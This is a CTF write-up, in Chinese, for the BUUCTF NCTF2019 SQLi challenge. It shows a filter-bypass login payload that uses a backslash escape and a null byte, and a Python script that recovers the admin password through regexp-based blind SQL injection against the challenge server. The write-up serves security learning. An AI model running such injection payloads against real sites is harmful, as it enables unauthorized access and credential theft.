【BUUCTF】[NCTF2019]SQLi

进入题目页面如下

是一个登录界面

尝试万能密码,错误

使用dirsearch目录扫描

发现robots.txt文件

访问robots.txt,发现hint.txt

里面提示了过滤的关键字

下面这行代码的意思是如果 `$_POST['passwd']` 等于管理员的密码, 那么你将获得标志(flag)

根据题目可以得出这是字符型注入,但是 ' 也被过滤

看到过滤了很多关键字,但是转义符好像没过滤,可以利用转义符构成闭合语句

passwd=||/**/1;%00&username=\

得到welcome.php文件

再看过滤了很多函数,但好像没有过滤regexp尝试regexp函数

脚本爆破密码

python 复制代码
import requests
from urllib.parse import unquote
import string

def regexp_guess():
    guessed_result = ""
    possible_characters = string.ascii_lowercase + string.digits + '_'
    target_url = "http://ed141fe7-706a-4558-bb83-02e719516467.node5.buuoj.cn:81/index.php"
    for length in range(1, 100):
        for char in possible_characters:
            current_guess = guessed_result + char
            payload = "||/**/passwd/**/regexp/**/\"^{}\";{}".format(current_guess, unquote('%00'))
            data = {
                "username": "\\",
                "passwd": payload
            }
            response = requests.post(target_url, data=data)
            if "welcome.php" in response.text:
                guessed_result = current_guess
                break
        print(guessed_result)

if __name__ == "__main__":
    regexp_guess()

代码解释

requests 用于发送 HTTP 请求

unquote 用于 URL 解码,string 用于获取特定的字符集合

定义了一个名为 regexp_guess 的函数

guessed_result 用于存储逐步猜测得到的结果,初始为空字符串

定义了可能用于猜测的字符集合,包括小写字母、数字和下划线

发送请求的目标 URL

外层的 for 循环控制猜测结果的长度,从 1 到 100

内层的 for 循环遍历可能的字符

current_guess 是当前正在猜测的字符组合,通过将新字符添加到之前的猜测结果形成

构建 payload ,这是用于发送请求的特定格式的数据

构建 data 字典,包含用户名和密码(即 payload )

使用 requests.post 向目标 URL 发送 POST 请求,并将响应存储在 response 变量中

如果响应包含 "welcome.php" ,说明猜测是正确,更新 guessed_result 跳出内层循环

条件下调用 regexp_guess 函数来执行整个猜测过程

得到密码

you_will_never_know7788990

用密码登录得到flag

最终的得到flag

相关推荐
Henry Zhu12310 小时前
VPP的NAT插件: NAT44-EI 实战配置指南
网络·物联网·计算机网络·云原生·云计算
车载测试工程师10 小时前
CAPL学习-ETH功能函数-对象类
网络·tcp/ip·以太网·capl·canoe
聊询QQ:6882388610 小时前
线性参变(LPV)+鲁棒模型预测控制(RMPC)+路径跟踪(PTC),目前能实现20-25m/...
web安全
卓码软件测评10 小时前
CNAS软件测试机构:【Postman集合从接口组织到自动化测试套件的过程】
网络·测试工具·性能优化·测试用例·压力测试·postman
!!!!!!!!!!!!!!!!.10 小时前
CTF WEB入门 命令执行篇71-124
笔记·学习·安全·ctf
zhangrelay10 小时前
Webots 2025a + ROS 2 Jazzy e-puck 机器人教程
笔记·学习·机器人
阿巴~阿巴~10 小时前
HTTP服务器实现请求解析与响应构建:从基础架构到动态交互
服务器·网络·网络协议·http·交互·请求解析·响应构建
qq_2965446510 小时前
驱动精灵、驱动人生、NVIDIA专业显卡驱动、360驱动大师、联想乐驱动,电脑驱动修复工具大全
网络·电脑·负载均衡
摇滚侠10 小时前
2025最新 SpringCloud教程,Seata-基础-环境搭建,笔记64
笔记·spring·spring cloud
2301_8107463110 小时前
CKA冲刺40天笔记 - day23 Kubernetes RBAC Explained - Role Based Access Control
笔记·kubernetes